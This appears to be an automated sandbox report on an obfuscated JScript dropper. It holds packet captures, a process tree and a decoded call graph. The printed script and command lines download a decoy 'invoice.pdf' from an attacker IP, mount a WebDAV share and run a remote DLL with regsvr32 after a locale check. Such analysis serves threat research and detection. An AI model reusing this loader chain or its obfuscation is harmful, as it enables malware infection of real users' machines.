Jan 10, 2025 14:45:13.703831911 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 14:45:13.703843117 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 14:45:13.703855038 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 10, 2025 14:45:13.703866005 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 10, 2025 14:45:13.703876972 CET	1236	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 10, 2025 14:45:13.703887939 CET	1236	IN	Data Raw: df 71 fb ff 88 01 f0 15 5a f1 86 8c cf c0 27 13 43 3f 56 c5 d0 ab 3e 86 9e 15 63 e8 db 57 83 e1 50 f3 98 fd fd 37 5d 0c bd 0a 63 e8 49 8a a1 67 f7 12 43 6f 6e 9e e6 c7 86 3e 04 c7 86 12 43 b7 65 ea 9b 13 00 00 c0 34 f8 62 09 00 26 17 de 78 6b 9a Data Ascii: qZ'C?V>cWP7]cIgCon>Ce4b&xkKEK_BXG:a!9KSRDs/rWUK<Z[axj?P/xy5KoeSco1>'f,12Cn1KCumg
Jan 10, 2025 14:45:13.704015017 CET	1236	IN	Data Raw: c3 00 fa 39 2c 4f 25 7b e5 0c 5a 53 69 75 a2 35 55 74 a1 57 d3 bc ac 95 f7 99 47 97 b3 97 68 91 61 12 5d 22 83 16 ee b4 6b 19 7f 9e fa 1f 47 00 be 4c 95 ff a6 8f cf 93 1b 0b fd e4 77 e4 3e 76 3b 72 4d 0c bd bc e8 62 e8 e9 c9 6d 13 43 0f 5d 0c 35 Data Ascii: 9,O%{ZSiu5UtWGha]"kGLw>v;rMbmC]5GR91g}\|~yS0XmIr%&zu6"Oa508J)$*eer\|S\UP6B]=tWS&)wCNkJV
Jan 10, 2025 14:45:13.704026937 CET	1236	IN	Data Raw: c9 e5 e9 2b 94 0b 33 d7 e6 f3 f1 d2 3d b4 be 84 5e b9 93 31 e5 f3 a5 fe 67 06 7c 12 2d 3f 63 e1 d3 95 fb 91 00 2d f7 63 00 e1 13 58 98 8c 0e 7f 18 a0 fc 6a e6 de 6c b9 57 33 bd d3 56 ef a1 fe 26 93 8b f2 85 22 69 ba 76 ee 2e 17 0e f9 e6 d2 76 fd Data Ascii: +3=^1g\|-?c-cXjlW3V&"iv.v6wzo;CKjv>v;r}mM18C=T~M)1'}xzc(Nj4bZs%T@.QO=P2>jPOjR??GVjDS1#N]E<<]ap
Jan 10, 2025 14:45:13.704037905 CET	824	IN	Data Raw: 38 14 c0 76 ac 90 4a b0 cb dc 58 e8 a7 e1 8e dc 41 0c 75 07 86 a6 18 7a 56 8e a1 7b a5 ee 19 3c f6 a2 18 7a 38 8f a1 e7 67 71 0c bd ef 63 e8 e8 b1 a1 c4 d0 b5 9a fa e6 04 00 00 30 0d be 58 02 80 2d 30 37 d5 fa 05 b9 7e f4 cc 9c f7 f7 ce 91 d3 24 Data Ascii: 8vJXAuzV{<z8gqc0X-07~$3G{hI0 ?ASw$Ut#*G@"y[4QI2US&R=Tg>As%=V_r=]X^[ZX\.YF{)y'p&Z'Q/kV~[W
Jan 10, 2025 14:45:13.760809898 CET	1236	IN	Data Raw: 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 ef 34 53 de 17 ca ee e1 79 be e9 2d a7 5f 50 f3 f3 00 b9 19 ed 5c dd ae 39 af 33 7c 4a fd 08 fc db 21 e9 da 32 e4 9b 1b 81 37 1b 8f cd 90 6f ee Data Ascii: \BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6ZsIifY;r\|MoMUtkpYLI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	193.143.1.205	8888	7088	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 14:45:15.641729116 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 14:45:16.434945107 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 13:45:16 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	08:45:08
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\571464521086425926.js"
Imagebase:	0x7ff6e40e0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	08:45:09
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17272264716678.dll
Imagebase:	0x7ff7a2880000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	08:45:09
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	08:45:09
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	08:45:14
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	08:45:14
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7a2880000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	08:45:14
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff652180000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	08:45:15
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff70f330000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	08:45:15
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	08:45:15
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2076 --field-trial-handle=1756,i,8073324736629233137,16108880164498888717,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function fiizhqg() {	fiizhqg() ➔ undefined
1	xvychzcz = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var tzbpbpces = this[vqlofrc + hsoxeqyyt + oghbx + ipotgo + nziwjtn + dccea + zhfjxh + efohywndt] ( this[wfrqt + selbx + jsyssh + oghbx + ughqni + vqlofrc + efohywndt][fjsqneyz + oghbx + nziwjtn + hsoxeqyyt + efohywndt + nziwjtn + cujhtd + nmpltczt + cbwnmll + nziwjtn + jsyssh + efohywndt] ( wfrqt + selbx + jsyssh + oghbx + ughqni + vqlofrc + efohywndt + dpysbvvxt + selbx + ibafwb + nziwjtn + xrmry + xrmry ) [guumplmn + nziwjtn + wfczmxupy + guumplmn + nziwjtn + hsoxeqyyt + tolmfuz] ( rjgzthtcm + gbpeyfkra + wbgcelm + ikyslph + kluvds + fjsqneyz + ychlpa + guumplmn + guumplmn + wbgcelm + rsdxcladr + ujlaugl + kluvds + ychlpa + selbx + wbgcelm + guumplmn + ljemor + fjsqneyz + jpulugz + zhfjxh + efohywndt + oghbx + jpulugz + xrmry + infdp + bpdsnqc + hsoxeqyyt + zhfjxh + nziwjtn + xrmry + ljemor + dccea + zhfjxh + efohywndt + nziwjtn + oghbx + zhfjxh + hsoxeqyyt + efohywndt + ughqni + jpulugz + zhfjxh + hsoxeqyyt + xrmry + ljemor + sorzc + jpulugz + jsyssh + hsoxeqyyt + xrmry + nziwjtn ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( rwqweiio = 0 ; rwqweiio < xvychzcz[xrmry + nziwjtn + zhfjxh + wfczmxupy + efohywndt + ibafwb] ; ++ rwqweiio )
4	{
5	if ( tzbpbpces == xvychzcz[rwqweiio] )
6	{
7	tzbpbpces = true;
8	break ;
9	}
10	}
11	if ( tzbpbpces !== true )
12	this[wfrqt + selbx + jsyssh + oghbx + ughqni + vqlofrc + efohywndt][wqfjgoop + bjdfvmfi + ughqni + efohywndt] ( );
13	this[wfrqt + selbx + jsyssh + oghbx + ughqni + vqlofrc + efohywndt][fjsqneyz + oghbx + nziwjtn + hsoxeqyyt + efohywndt + nziwjtn + cujhtd + nmpltczt + cbwnmll + nziwjtn + jsyssh + efohywndt] ( wfrqt + selbx + jsyssh + oghbx + ughqni + vqlofrc + efohywndt + dpysbvvxt + selbx + ibafwb + nziwjtn + xrmry + xrmry ) [oghbx + bjdfvmfi + zhfjxh] ( jsyssh + gmrhaxn + tolmfuz + infdp + ruukak + jsyssh + infdp + vqlofrc + jpulugz + omzvxdm + nziwjtn + oghbx + ipotgo + ibafwb + nziwjtn + xrmry + xrmry + dpysbvvxt + nziwjtn + isbgxx + nziwjtn + infdp + ahifyuty + fjsqneyz + jpulugz + gmrhaxn + gmrhaxn + hsoxeqyyt + zhfjxh + tolmfuz + infdp + ovmtgkt + dccea + zhfjxh + jsyasl + jpulugz + wtrzwfqr + nziwjtn + ahifyuty + wfrqt + nziwjtn + nmpltczt + guumplmn + nziwjtn + vjimts + bjdfvmfi + nziwjtn + ipotgo + efohywndt + infdp + ahifyuty + cujhtd + bjdfvmfi + efohywndt + tflbhu + ughqni + xrmry + nziwjtn + infdp + ovkosrp + efohywndt + nziwjtn + gmrhaxn + vqlofrc + ovkosrp + ljemor + ughqni + zhfjxh + jsyasl + jpulugz + ughqni + jsyssh + nziwjtn + dpysbvvxt + vqlofrc + tolmfuz + bktmybvit + infdp + ibafwb + efohywndt + efohywndt + vqlofrc + naancfl + ruukak + ruukak + iawzjdx + vskrg + onrennr + dpysbvvxt + iawzjdx + ovoxw + onrennr + dpysbvvxt + iawzjdx + dpysbvvxt + tyieo + pcojicfci + rytgvd + ruukak + ughqni + zhfjxh + jsyasl + jpulugz + ughqni + jsyssh + nziwjtn + dpysbvvxt + vqlofrc + ibafwb + vqlofrc + ovmtgkt + ebqifb + ebqifb + ipotgo + efohywndt + hsoxeqyyt + oghbx + efohywndt + infdp + ovkosrp + efohywndt + nziwjtn + gmrhaxn + vqlofrc + ovkosrp + ljemor + ughqni + zhfjxh + jsyasl + jpulugz + ughqni + jsyssh + nziwjtn + dpysbvvxt + vqlofrc + tolmfuz + bktmybvit + ebqifb + ebqifb + jsyssh + gmrhaxn + tolmfuz + infdp + ruukak + jsyssh + infdp + zhfjxh + nziwjtn + efohywndt + infdp + bjdfvmfi + ipotgo + nziwjtn + infdp + ljemor + ljemor + iawzjdx + vskrg + onrennr + dpysbvvxt + iawzjdx + ovoxw + onrennr + dpysbvvxt + iawzjdx + dpysbvvxt + tyieo + pcojicfci + rytgvd + pdaewhiyc + trstg + trstg + trstg + trstg + ljemor + tolmfuz + hsoxeqyyt + jsyasl + omzvxdm + omzvxdm + omzvxdm + oghbx + jpulugz + jpulugz + efohywndt + ljemor + ebqifb + ebqifb + jsyssh + gmrhaxn + tolmfuz + infdp + ruukak + jsyssh + infdp + oghbx + nziwjtn + wfczmxupy + ipotgo + jsyasl + oghbx + onrennr + tyieo + infdp + ruukak + ipotgo + infdp + ljemor + ljemor + iawzjdx + vskrg + onrennr + dpysbvvxt + iawzjdx + ovoxw + onrennr + dpysbvvxt + iawzjdx + dpysbvvxt + tyieo + pcojicfci + rytgvd + pdaewhiyc + trstg + trstg + trstg + trstg + ljemor + tolmfuz + hsoxeqyyt + jsyasl + omzvxdm + omzvxdm + omzvxdm + oghbx + jpulugz + jpulugz + efohywndt + ljemor + iawzjdx + whmuty + tyieo + whmuty + tyieo + tyieo + zhrryk + ovoxw + whmuty + iawzjdx + zhrryk + zhrryk + whmuty + trstg + dpysbvvxt + tolmfuz + xrmry + xrmry, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17272264716678.dll",0,false) ➔ 0
14	}
15	cujhtd = "k";
16	cujhtd = "f";
17	cujhtd = "A";
18	cujhtd = "b";
19	cujhtd = "T";
20	cujhtd = "V";
21	cujhtd = "T";
22	cujhtd = "d";
23	cujhtd = "m";
24	cujhtd = "B";
25	cujhtd = "U";
26	cujhtd = "Q";
27	cujhtd = "x";
28	cujhtd = "p";
29	cujhtd = "X";
30	cujhtd = "Q";
31	cujhtd = "O";
32	cujhtd = "S";
33	cujhtd = "g";
34	cujhtd = "T";
35	cujhtd = "V";
36	cujhtd = "I";
37	cujhtd = "S";
38	cujhtd = "I";
39	cujhtd = "v";
40	cujhtd = "z";
41	cujhtd = "S";
42	cujhtd = "h";
43	cujhtd = "e";
44	cujhtd = "L";
45	cujhtd = "D";
46	cujhtd = "N";
47	cujhtd = "i";
48	cujhtd = "M";
49	cujhtd = "x";
50	cujhtd = "v";
51	cujhtd = "h";
52	cujhtd = "R";
53	cujhtd = "l";
54	cujhtd = "u";
55	cujhtd = "O";
56	cujhtd = "a";
57	cujhtd = "H";
58	cujhtd = "O";
59	dpysbvvxt = "F";
60	dpysbvvxt = "b";
61	dpysbvvxt = "k";
62	dpysbvvxt = "V";
63	dpysbvvxt = "K";
64	dpysbvvxt = "D";
65	dpysbvvxt = "M";
66	dpysbvvxt = "h";
67	dpysbvvxt = "f";
68	dpysbvvxt = "k";
69	dpysbvvxt = "K";
70	dpysbvvxt = "h";
71	dpysbvvxt = "w";
72	dpysbvvxt = "F";
73	dpysbvvxt = "R";
74	dpysbvvxt = "h";
75	dpysbvvxt = ".";
76	rsdxcladr = "J";
77	rsdxcladr = "v";
78	rsdxcladr = "Q";
79	rsdxcladr = "o";
80	rsdxcladr = "N";
81	ljemor = "i";
82	ljemor = "F";
83	ljemor = "v";
84	ljemor = "V";
85	ljemor = "r";
86	ljemor = "p";
87	ljemor = "p";
88	ljemor = "z";
89	ljemor = "\\";
90	whmuty = "v";
91	whmuty = "H";
92	whmuty = "k";
93	whmuty = "H";
94	whmuty = "O";
95	whmuty = "w";
96	whmuty = "g";
97	whmuty = "7";
98	zhfjxh = "k";
99	zhfjxh = "m";
100	zhfjxh = "k";
101	zhfjxh = "s";
102	zhfjxh = "s";
103	zhfjxh = "S";
104	zhfjxh = "Q";
105	zhfjxh = "k";
106	zhfjxh = "y";
107	zhfjxh = "Q";
108	zhfjxh = "n";
109	rytgvd = "h";
110	rytgvd = "J";
111	rytgvd = "c";
112	rytgvd = "m";
113	rytgvd = "v";
114	rytgvd = "i";
115	rytgvd = "r";
116	rytgvd = "q";
117	rytgvd = "Y";
118	rytgvd = "b";
119	rytgvd = "Y";
120	rytgvd = "g";
121	rytgvd = "i";
122	rytgvd = "S";
123	rytgvd = "E";
124	rytgvd = "m";
125	rytgvd = "L";
126	rytgvd = "r";
127	rytgvd = "T";
128	rytgvd = "J";
129	rytgvd = "N";
130	rytgvd = "k";
131	rytgvd = "o";
132	rytgvd = "N";
133	rytgvd = "D";
134	rytgvd = "O";
135	rytgvd = "F";
136	rytgvd = "g";
137	rytgvd = "w";
138	rytgvd = "b";
139	rytgvd = "X";
140	rytgvd = "z";
141	rytgvd = "r";
142	rytgvd = "e";
143	rytgvd = "e";
144	rytgvd = "y";
145	rytgvd = "z";
146	rytgvd = "b";
147	rytgvd = "z";
148	rytgvd = "o";
149	rytgvd = "n";
150	rytgvd = "5";
151	ahifyuty = "n";
152	ahifyuty = "M";
153	ahifyuty = "Q";
154	ahifyuty = "J";
155	ahifyuty = "v";
156	ahifyuty = "g";
157	ahifyuty = "I";
158	ahifyuty = "X";
159	ahifyuty = "W";
160	ahifyuty = "Q";
161	ahifyuty = "H";
162	ahifyuty = "f";
163	ahifyuty = "t";
164	ahifyuty = "f";
165	ahifyuty = "h";
166	ahifyuty = "i";
167	ahifyuty = "w";
168	ahifyuty = "Q";
169	ahifyuty = "o";
170	ahifyuty = "C";
171	ahifyuty = "m";
172	ahifyuty = "-";
173	ebqifb = "R";
174	ebqifb = "d";
175	ebqifb = "I";
176	ebqifb = "N";
177	ebqifb = "R";
178	ebqifb = "t";
179	ebqifb = "G";
180	ebqifb = "A";
181	ebqifb = "O";
182	ebqifb = "P";
183	ebqifb = "A";
184	ebqifb = "C";
185	ebqifb = "a";
186	ebqifb = "Y";
187	ebqifb = "H";
188	ebqifb = "b";
189	ebqifb = "M";
190	ebqifb = "F";
191	ebqifb = "V";
192	ebqifb = "K";
193	ebqifb = "S";
194	ebqifb = "E";
195	ebqifb = "e";
196	ebqifb = "X";
197	ebqifb = "y";
198	ebqifb = "w";
199	ebqifb = "b";
200	ebqifb = "h";
201	ebqifb = "C";
202	ebqifb = "p";
203	ebqifb = "q";
204	ebqifb = "U";
205	ebqifb = "P";
206	ebqifb = "s";
207	ebqifb = "M";
208	ebqifb = "O";
209	ebqifb = "I";
210	ebqifb = "W";
211	ebqifb = "y";
212	ebqifb = "F";
213	ebqifb = "&";
214	cbwnmll = "n";
215	cbwnmll = "V";
216	cbwnmll = "N";
217	cbwnmll = "U";
218	cbwnmll = "Q";
219	cbwnmll = "J";
220	cbwnmll = "j";
221	cbwnmll = "x";
222	cbwnmll = "R";
223	cbwnmll = "G";
224	cbwnmll = "P";
225	cbwnmll = "g";
226	cbwnmll = "i";
227	cbwnmll = "m";
228	cbwnmll = "u";
229	cbwnmll = "s";
230	cbwnmll = "c";
231	cbwnmll = "i";
232	cbwnmll = "C";
233	cbwnmll = "W";
234	cbwnmll = "l";
235	cbwnmll = "D";
236	cbwnmll = "Q";
237	cbwnmll = "B";
238	cbwnmll = "V";
239	cbwnmll = "C";
240	cbwnmll = "P";
241	cbwnmll = "d";
242	cbwnmll = "J";
243	cbwnmll = "j";
244	ychlpa = "h";
245	ychlpa = "M";
246	ychlpa = "R";
247	ychlpa = "T";
248	ychlpa = "E";
249	ychlpa = "W";
250	ychlpa = "o";
251	ychlpa = "A";
252	ychlpa = "d";
253	ychlpa = "W";
254	ychlpa = "F";
255	ychlpa = "p";
256	ychlpa = "v";
257	ychlpa = "A";
258	ychlpa = "z";
259	ychlpa = "l";
260	ychlpa = "c";
261	ychlpa = "q";
262	ychlpa = "M";
263	ychlpa = "s";
264	ychlpa = "l";
265	ychlpa = "u";
266	ychlpa = "B";
267	ychlpa = "g";
268	ychlpa = "K";
269	ychlpa = "U";
270	ovkosrp = "d";
271	ovkosrp = "a";
272	ovkosrp = "x";
273	ovkosrp = "l";
274	ovkosrp = "E";
275	ovkosrp = "Z";
276	ovkosrp = "f";
277	ovkosrp = "c";
278	ovkosrp = "O";
279	ovkosrp = "x";
280	ovkosrp = "y";
281	ovkosrp = "c";
282	ovkosrp = "Q";
283	ovkosrp = "l";
284	ovkosrp = "W";
285	ovkosrp = "l";
286	ovkosrp = "g";
287	ovkosrp = "R";
288	ovkosrp = "c";
289	ovkosrp = "o";
290	ovkosrp = "b";
291	ovkosrp = "j";
292	ovkosrp = "z";
293	ovkosrp = "%";
294	rjgzthtcm = "H";
295	pcojicfci = "c";
296	pcojicfci = "z";
297	pcojicfci = "n";
298	pcojicfci = "z";
299	pcojicfci = "b";
300	pcojicfci = "b";
301	pcojicfci = "0";
302	nziwjtn = "x";
303	nziwjtn = "p";
304	nziwjtn = "a";
305	nziwjtn = "q";
306	nziwjtn = "b";
307	nziwjtn = "A";
308	nziwjtn = "H";
309	nziwjtn = "Q";
310	nziwjtn = "J";
311	nziwjtn = "S";
312	nziwjtn = "z";
313	nziwjtn = "E";
314	nziwjtn = "m";
315	nziwjtn = "X";
316	nziwjtn = "Z";
317	nziwjtn = "g";
318	nziwjtn = "J";
319	nziwjtn = "Q";
320	nziwjtn = "y";
321	nziwjtn = "o";
322	nziwjtn = "i";
323	nziwjtn = "p";
324	nziwjtn = "U";
325	nziwjtn = "y";
326	nziwjtn = "v";
327	nziwjtn = "g";
328	nziwjtn = "T";
329	nziwjtn = "k";
330	nziwjtn = "B";
331	nziwjtn = "N";
332	nziwjtn = "B";
333	nziwjtn = "p";
334	nziwjtn = "H";
335	nziwjtn = "e";
336	nziwjtn = "z";
337	nziwjtn = "e";
338	wfrqt = "A";
339	wfrqt = "v";
340	wfrqt = "D";
341	wfrqt = "H";
342	wfrqt = "c";
343	wfrqt = "U";
344	wfrqt = "U";
345	wfrqt = "L";
346	wfrqt = "I";
347	wfrqt = "X";
348	wfrqt = "B";
349	wfrqt = "x";
350	wfrqt = "U";
351	wfrqt = "h";
352	wfrqt = "P";
353	wfrqt = "F";
354	wfrqt = "E";
355	wfrqt = "u";
356	wfrqt = "B";
357	wfrqt = "p";
358	wfrqt = "R";
359	wfrqt = "d";
360	wfrqt = "n";
361	wfrqt = "Y";
362	wfrqt = "c";
363	wfrqt = "M";
364	wfrqt = "G";
365	wfrqt = "h";
366	wfrqt = "T";
367	wfrqt = "M";
368	wfrqt = "r";
369	wfrqt = "g";
370	wfrqt = "l";
371	wfrqt = "W";
372	bpdsnqc = "V";
373	bpdsnqc = "n";
374	bpdsnqc = "Q";
375	bpdsnqc = "x";
376	bpdsnqc = "m";
377	bpdsnqc = "H";
378	bpdsnqc = "z";
379	bpdsnqc = "B";
380	bpdsnqc = "Z";
381	bpdsnqc = "j";
382	bpdsnqc = "g";
383	bpdsnqc = "P";
384	sorzc = "Q";
385	sorzc = "K";
386	sorzc = "I";
387	sorzc = "Z";
388	sorzc = "K";
389	sorzc = "m";
390	sorzc = "Z";
391	sorzc = "P";
392	sorzc = "a";
393	sorzc = "u";
394	sorzc = "c";
395	sorzc = "p";
396	sorzc = "L";
397	sorzc = "i";
398	sorzc = "e";
399	sorzc = "Y";
400	sorzc = "A";
401	sorzc = "w";
402	sorzc = "E";
403	sorzc = "v";
404	sorzc = "z";
405	sorzc = "h";
406	sorzc = "T";
407	sorzc = "F";
408	sorzc = "L";
409	vskrg = "e";
410	vskrg = "m";
411	vskrg = "n";
412	vskrg = "g";
413	vskrg = "W";
414	vskrg = "Y";
415	vskrg = "Y";
416	vskrg = "h";
417	vskrg = "x";
418	vskrg = "A";
419	vskrg = "W";
420	vskrg = "R";
421	vskrg = "N";
422	vskrg = "A";
423	vskrg = "Z";
424	vskrg = "i";
425	vskrg = "f";
426	vskrg = "S";
427	vskrg = "q";
428	vskrg = "A";
429	vskrg = "h";
430	vskrg = "Y";
431	vskrg = "9";
432	onrennr = "e";
433	onrennr = "F";
434	onrennr = "j";
435	onrennr = "u";
436	onrennr = "H";
437	onrennr = "g";
438	onrennr = "i";
439	onrennr = "M";
440	onrennr = "m";
441	onrennr = "P";
442	onrennr = "M";
443	onrennr = "N";
444	onrennr = "h";
445	onrennr = "s";
446	onrennr = "Y";
447	onrennr = "D";
